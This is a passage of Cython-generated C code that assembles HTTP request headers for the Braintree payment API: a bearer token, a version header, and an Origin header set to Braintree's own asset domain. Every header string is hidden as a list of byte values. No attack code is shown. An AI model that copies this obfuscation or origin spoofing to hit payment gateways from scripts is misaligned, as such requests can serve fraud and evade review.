    __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 512, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 512, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_au); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 512, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_15 = __Pyx_PyObject_FormatSimple(__pyx_t_10, __pyx_empty_unicode); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 512, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Bearer, __pyx_t_15); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 512, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_t_5, __pyx_t_1, __pyx_t_10) < 0) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __pyx_t_10 = PyList_New(17); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 513, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_10, 10, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 11, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 12, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_10, 13, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 14, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 15, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 16, __pyx_int_110);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 513, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 513, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = PyList_New(10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 513, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_INCREF(__pyx_int_50);
    __Pyx_GIVEREF(__pyx_int_50);
    PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_50);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_49);
    __Pyx_GIVEREF(__pyx_int_49);
    PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_49);
    __Pyx_INCREF(__pyx_int_56);
    __Pyx_GIVEREF(__pyx_int_56);
    PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_56);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_1, 4, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_1, 5, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_53);
    __Pyx_GIVEREF(__pyx_int_53);
    PyList_SET_ITEM(__pyx_t_1, 6, __pyx_int_53);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_1, 7, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_49);
    __Pyx_GIVEREF(__pyx_int_49);
    PyList_SET_ITEM(__pyx_t_1, 8, __pyx_int_49);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_1, 9, __pyx_int_48);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 513, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 513, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_t_5, __pyx_t_10, __pyx_t_1) < 0) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __pyx_t_1 = PyList_New(13); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 514, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_1, 4, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_1, 5, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_1, 6, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_1, 7, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_1, 8, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_1, 9, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_1, 10, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_1, 11, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_1, 12, __pyx_int_108);
    __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 514, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 514, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = PyList_New(8); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 514, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_101);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 514, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 514, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_t_5, __pyx_t_1, __pyx_t_10) < 0) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __pyx_t_10 = PyList_New(12); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 515, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_10, 10, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 11, __pyx_int_101);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 515, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 515, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = PyList_New(16); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 515, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_1, 4, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_1, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_1, 6, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_1, 7, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_1, 8, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_1, 9, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_1, 10, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_1, 11, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_106);
    __Pyx_GIVEREF(__pyx_int_106);
    PyList_SET_ITEM(__pyx_t_1, 12, __pyx_int_106);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_1, 13, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_1, 14, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_1, 15, __pyx_int_110);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 515, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 515, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_t_5, __pyx_t_10, __pyx_t_1) < 0) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __pyx_t_1 = PyList_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 516, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_1, 4, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_1, 5, __pyx_int_110);
    __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 516, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 516, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = PyList_New(35); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 516, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_58);
    __Pyx_GIVEREF(__pyx_int_58);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_58);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_10, 10, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 11, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 12, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_10, 13, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_10, 14, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_10, 15, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 16, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 17, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 18, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 19, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 20, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 21, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 22, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 23, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_10, 24, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 25, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 26, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 27, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_10, 28, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 29, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_10, 30, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_10, 31, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 32, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 33, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 34, __pyx_int_109);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 516, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 516, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_t_5, __pyx_t_1, __pyx_t_10) < 0) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __pyx_t_10 = PyList_New(6); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 517, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_97);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 517, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
